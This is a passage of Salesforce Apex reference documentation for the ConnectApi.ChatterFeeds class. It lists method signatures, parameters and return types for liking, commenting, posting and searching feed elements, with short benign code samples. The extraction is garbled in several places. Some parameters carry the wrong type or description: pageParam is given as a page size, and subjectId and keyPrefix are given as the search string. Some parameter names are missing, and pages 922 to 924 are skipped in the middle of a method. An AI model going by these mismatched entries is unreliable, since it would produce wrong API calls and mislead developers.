public static ConnectApi.FeedEntityIsEditable isCommentEditableByMe(String communityId,
String commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
ID of the comment.

Return Value
Type: ConnectApi.FeedEntityIsEditable
SEE ALSO:
Edit a Comment

isFeedElementEditableByMe(communityId, feedElementId)
Indicates whether the context user can edit a feed element. Feed items are the only type of feed element that can be edited.

API Version
34.0

893

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedEntityIsEditable isFeedElementEditableByMe(String
communityId, String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element. Feed items are the only type of feed element that can be edited.

Return Value
Type: ConnectApi.FeedEntityIsEditable
SEE ALSO:
Edit a Feed Element
Edit a Question Title and Post

isModified(communityId, feedType, subjectId, since)

Returns information about whether a news feed has been updated or changed. Use this method to poll a news feed for updates.
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedModifiedInfo isModified(String communityId,
ConnectApi.FeedType feedType, String subjectId, String since)

Parameters
communityId

Type: String

894

Reference

ChatterFeeds Class

Use either the ID for a community, internal, or null.

feedType

Type: ConnectApi.FeedType
Specifies the type of feed. The only supported type is News
subjectId

Type: String
The ID of the context user or the alias me.
since

Type: String
An opaque token containing information about the last modified date of the feed. Retrieve this token from the
FeedElementPage.isModifiedToken property.

Return Value
Type: ConnectApi.FeedModifiedInfo

likeComment(communityId, commentId)
Adds a like to the specified comment for the context user. If the user has already liked this comment, this is a non-operation and returns
the existing like.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLike likeComment(String communityId, String commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ChatterLike

895

Reference

ChatterFeeds Class

likeFeedElement(communityId, feedElementId)
Like a feed element.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLike likeFeedElement(String communityId, String
feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.

Return Value
Type: ConnectApi.ChatterLike
If the feed element doesnt support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Like a Feed Element

likeFeedItem(communityId, feedItemId)
Adds a like to the specified feed item for the context user. If the user has already liked this feed item, this is a non-operation and returns
the existing like.

API Version
28.031.0
Important: In version 32.0 and later, use likeFeedElement(communityId, feedElementId).

Requires Chatter
Yes

896

Reference

ChatterFeeds Class

Signature
public static ConnectApi.ChatterLike likeFeedItem(String communityId, String feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.ChatterLike

postComment(communityId, feedItemId, text)

Adds the specified text as a comment to the feed item, for the context user.

API Version
28.031.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, text).

Requires Chatter
Yes

Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
String text)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
text

Type: String

897

Reference

ChatterFeeds Class

The text of the comment. Mentions are downgraded to plain text. To include a mention that links to a user, call
postComment(communityId, feedItemId, comment, feedItemFileUpload) and pass the mention in a
ConnectApi.CommentInput object.

Return Value
Type: ConnectApi.Comment

Usage
If hashtags or links are detected in text, they are included in the comment as hashtag and link segments. Mentions are not detected
in text and are not separated out of the text.
Feed items and comments can contain up to 10,000 characters.

postComment(communityId, feedItemId, comment, feedItemFileUpload)

Adds a comment to the feed item from the context user. Use this method to use rich text, including mentions, and to attach a file to a
comment.

API Version
28.031.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload).

Requires Chatter
Yes

Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
ConnectApi.CommentInput comment, ConnectApi.BinaryInput feedItemFileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
comment
Type: ConnectApi.CommentInput

In the CommentInput object, specify rich text, including @mentions. Optionally, in the CommentInput.attachment
property, specify an existing file or a new file

898

Reference

ChatterFeeds Class

feedItemFileUpload
Type: ConnectApi.BinaryInput

If you specify a NewFileAttachmentInput object in the CommentInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.

Return Value
Type: ConnectApi.Comment

Usage
Feed items and comments can contain up to 10,000 characters.

Sample: Posting a Comment with a New File Attachment

To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the ConnectApi.ChatterFeeds.postComment method.
String communityId = null;
String feedItemId = '0D5D0000000Kcd1';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Comment Text Body';
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageInput.messageSegments.add(textSegment);
input.body = messageInput;
ConnectApi.NewFileAttachmentInput attachmentInput = new ConnectApi.NewFileAttachmentInput();
attachmentInput.description = 'The description of the file';
attachmentInput.title = 'contentFile.txt';
input.attachment = attachmentInput;
String fileContents = 'This is the content of the file.';
Blob fileBlob = Blob.valueOf(fileContents);
ConnectApi.BinaryInput binaryInput = new ConnectApi.BinaryInput(fileBlob, 'text/plain',
'contentFile.txt');
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postComment(communityId, feedItemId,
input, binaryInput);

postCommentToFeedElement(communityId, feedElementId, text)

Post a plain text comment to a feed element.

899

Reference

ChatterFeeds Class

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, String text)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
text

Type: String
Text of the comment. A comment can contain up to 10,000 characters.

Return Value
Type: ConnectApi.Comment
If the feed element doesnt support the Comments capability, the return value is ConnectApi.NotFoundException on page
1488.
SEE ALSO:
Post a Comment

postCommentToFeedElement(communityId, feedElementId, comment,

feedElementFileUpload)
Post a comment to a feed element. Use this method to post rich text, including mentions, and to attach a file. A comment can contain
up to 10,000 characters.

API Version
32.0

Requires Chatter
Yes

900

Reference

ChatterFeeds Class

Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, ConnectApi.CommentInput comment, ConnectApi.BinaryInput
feedElementFileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
comment

Type: ConnectApi.CommentInput
The comment body, including text and mentions, and capabilities, such as information about an attached file.
feedElementFileUpload

Type: ConnectApi.BinaryInput
A new binary file to attach to the comment, or null. If you specify a binary file, specify the title and description of the file in the
comment parameter.

Return Value
Type: ConnectApi.Comment
If the feed element doesnt support the Comments capability, the return value is ConnectApi.NotFoundException on page
1488.
SEE ALSO:
Post a Comment with a Mention
Post a Comment with a New File
Post a Comment with an Existing File

postFeedElement(communityId, subjectId, feedElementType, text)

Posts a feed element with plain text from the context user.

API Version
31.0

Requires Chatter
Yes

901

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElement postFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String text)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the parent this feed element is being posted to. This value can be the ID of a user, group, or record, or the string me to
indicate the context user.
feedElementType
Type: ConnectApi.FeedElementType

The only possible value is FeedItem.

text

Type: String
The text of the feed element. A feed element can contain up to 10,000 characters.

Return Value
Type: ConnectApi.FeedElement
SEE ALSO:
Post a Feed Element

postFeedElement(communityId, feedElement, feedElementFileUpload)

Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a file to
a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element and add
a comment.

API Version
31.035.0
Important: In version 36.0 and later, this method is no longer available because you cant create a feed post and upload a binary
file in the same call. Upload files to Salesforce first, and then use postFeedElement(communityId, feedElement)
to create the feed post and attach the files.

Requires Chatter
Yes

902

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement, ConnectApi.BinaryInput feedElementFileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElement
Type: ConnectApi.FeedElementInput

Specify rich text, including mentions. Optionally, specify a link, a poll, an existing file, or a new file.
feedElementFileUpload
Type: ConnectApi.BinaryInput

Specify the new binary file to attach to the post only if you also specify a NewFileAttachmentInput object in the
feedElement parameter. Otherwise, pass null.

Return Value
Type: ConnectApi.FeedElement
SEE ALSO:
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Share a Feed Element and Add a Comment
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Post a Rich-Text Feed Element with Inline Image

postFeedElement(communityId, feedElement)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach already
uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed
element and add a comment.

API Version
36.0

Requires Chatter
Yes

903

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElement
Type: ConnectApi.FeedElementInput

Specify rich text, including mentions. Optionally, specify a link, a poll, or up to 10 existing files.

Return Value
Type: ConnectApi.FeedElement
SEE ALSO:
postFeedElement(communityId, feedElement, feedElementFileUpload)

postFeedElementBatch(communityId, feedElements)
Posts a batch of up to 500 feed elements for the cost of one DML statement.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] postFeedElementBatch(String communityId,
List<ConnectApi.BatchInput> feedElements)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElements

Type: List<ConnectApi.BatchInput Class>

The list can contain up to 500 ConnectApi.BatchInput objects. In the ConnectApi.BatchInput constructor, the
input object must be a concrete instance of the abstract ConnectApi.FeedElementInput class.

904

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedElement object.
The returned objects correspond to each of the input objects and are returned in the same order as the input objects.
The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an
error, the error is embedded within the ConnectApi.BatchResult list.

Usage
Use this method to post a list of feed elements efficiently. Create a list containing up to 500 objects and insert them all for the cost of
one DML statement.
The ConnectApi.BatchInput Class class has three constructors, but the postFeedElementBatch method only supports the two
listed here. It doesnt support multiple binary inputs.
In each constructor, the input object must be an instance of ConnectApi.FeedElementInput. Pick a constructor based on
whether or not you want to pass a binary input.
ConnectApi.BatchInput(Object input)No binary input
ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)One binary input.
SEE ALSO:
Post a Batch of Feed Elements

postFeedItem(communityId, feedType, subjectId, text)

Posts a feed item with plain text from the context user.

API Version
28.031.0
Important: In version 32.0 and later, use postFeedElement(communityId, subjectId, feedElementType, text).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String text)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

905

Reference

ChatterFeeds Class

feedType
Type: ConnectApi.FeedType

One of the following:

News
Record
UserProfile
Use Record to post to a group.
subjectId

Type: String
The value depends on the feedType:
NewssubjectId must be the ID of the context user or the keyword me.
RecordThe ID of any record with a feed, including groups.
UserProfileThe ID of any user.
text

Type: String
The text of the feed item. Mentions are downgraded to plain text. To include a mention that links to the user, call the
postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
method and pass the mention in a ConnectApi.FeedItemInput object.

Usage
Feed items and comments can contain up to 10,000 characters.
Posts to ConnectApi.FeedType.UserProfile in API versions 23.0 and 24.0 created user status updates, not feed items. For
posts to the User Profile Feed in those API versions, the character limit is 1,000 characters.

postFeedItem(communityId, feedType, subjectId, feedItemInput,

feedItemFileUpload)
Posts a feed item to the specified feed from the context user. Use this method to post rich text, including mentions and hashtag topics,
and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.

API Version
28.031.0
Important: In version 32.0 and later, use postFeedElement(communityId, feedElement, feedElementFileUpload).

906

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemInput feedItemInput,
ConnectApi.BinaryInput feedItemFileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of the following:

News
Record
UserProfile
To post a feed item to a group, use Record and use a group ID as the subjectId.
subjectId

In the FeedItemInput object, specify rich text. Optionally, in the FeedItemInput.attachment property, specify a link,
a poll, an existing file, or a new file.
feedItemFileUpload
Type: ConnectApi.BinaryInput

If you specify a NewFileAttachmentInput object in the FeedItemInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.

907

Reference

ChatterFeeds Class

Usage
Feed items and comments can contain up to 10,000 characters. Posts to ConnectApi.FeedType.UserProfile in API versions
23.0 and 24.0 created user status updates, not feed items. For posts to the User Profile Feed in those API versions, the character limit is
1,000 characters.

Sample: Sharing a Feed Item and Adding a Comment

To share a feed item and add a comment, create a ConnectApi.FeedItemInput object containing the comment and the feed
item to share, and pass the object to ConnectApi.ChatterFeeds.postFeeditem in the feedItemInput argument.
The message segments in the message body input are used as the comment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.originalFeedItemId = '0D5D0000000JuAG';
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
List<ConnectApi.MessageSegmentInput> segmentList = new
List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'I hope you enjoy this post I found in another group.';
segmentList.add((ConnectApi.MessageSegmentInput)textSegment);
body.messageSegments = segmentList;
input.body = body;
ConnectApi.ChatterFeeds.postFeedItem(null, ConnectApi.FeedType.UserProfile, 'me', input,
null);

Sample: Posting an @mention to a User Profile Feed

To post to a user profile feed and include an @mention, call the ConnectApi.ChatterFeeds.postFeedItem method.
String communityId = null;
ConnectApi.FeedType feedType = ConnectApi.FeedType.UserProfile;
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment = new ConnectApi.MentionSegmentInput();
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hey there ';
messageInput.messageSegments.add(textSegment);
mentionSegment.id = '005D0000001LLO1';
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '. How are you?';
messageInput.messageSegments.add(textSegment);
input.body = messageInput;

908

Reference

ChatterFeeds Class

ConnectApi.FeedItem feedItemRep = ConnectApi.ChatterFeeds.postFeedItem(communityId, feedType,

'me', input, null);

searchFeedElements(communityId, q)
Returns the first page of all the feed elements that match the specified search criteria.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

909

Reference

ChatterFeeds Class

searchFeedElements(communityId, q, sortParam)
Returns the first page of all the feed elements that match the specified search criteria in the specified order.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

910

Reference

ChatterFeeds Class

searchFeedElements(communityId, q, pageParam, pageSize)

Searches feed elements and returns a specified page and page size of search results.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, String pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

911

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage

searchFeedElements(communityId, q, pageParam, pageSize, sortParam)

Searches feed elements and returns a specified page and page size in a specified order.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

912

Reference

ChatterFeeds Class

pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,

sortParam)
Searches feed elements and returns a specified page and page size in a specified order. Each feed element includes no more than the
specified number of comments.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, Integer recentCommentCount, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

913

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

searchFeedElementsInFeed(communityId, feedType, q)
Searches the feed elements for the Company, Home, and Moderation feed types.

914

Reference

ChatterFeeds Class

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize,

sortParam, q)
Searches the feed elements for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order.

915

Reference

ChatterFeeds Class

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

916

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code

searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q)
Searches the feed elements for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order. Each feed element includes no more than the specified number of comments.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.

917

Reference

ChatterFeeds Class

density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
result)
Testing ConnectApi Code

918

Reference

ChatterFeeds Class

searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q, filter)
Searches the feed elements for the Home feed type and returns a specified page and page size with the specified feed filter in a specified
sort order. Each feed element includes no more than the specified number of comments.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. The only valid value is Home.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

919

Reference

ChatterFeeds Class

pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
filter

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter, result)
Testing ConnectApi Code

searchFeedElementsInFeed(communityId, feedType, subjectId, q)

Searches the feed items for a specified feed type.

920

Reference

ChatterFeeds Class

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

921

Reference

ChatterFeeds Class

searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam,

pageSize, sortParam, q)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

35.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

925

Reference

ChatterFeeds Class

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and
must contain at least two characters that arent wildcards. See Wildcards.
filter

Return Value
Type: ConnectApi.FeedElementPage

926

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Community-Specific Feed Elements from a Feed
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, filter, result)
Testing ConnectApi Code

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q, showInternalOnly)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.

927

Reference

ChatterFeeds Class

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedElementPage

928

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, showInternalOnly, result)
Testing ConnectApi Code

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only. Specify feed filter.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.

929

Reference

ChatterFeeds Class

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter

930

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, showInternalOnly, filter, result)
Testing ConnectApi Code

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)

Searches the feed elements of a feed filtered by key prefix.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

931

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage

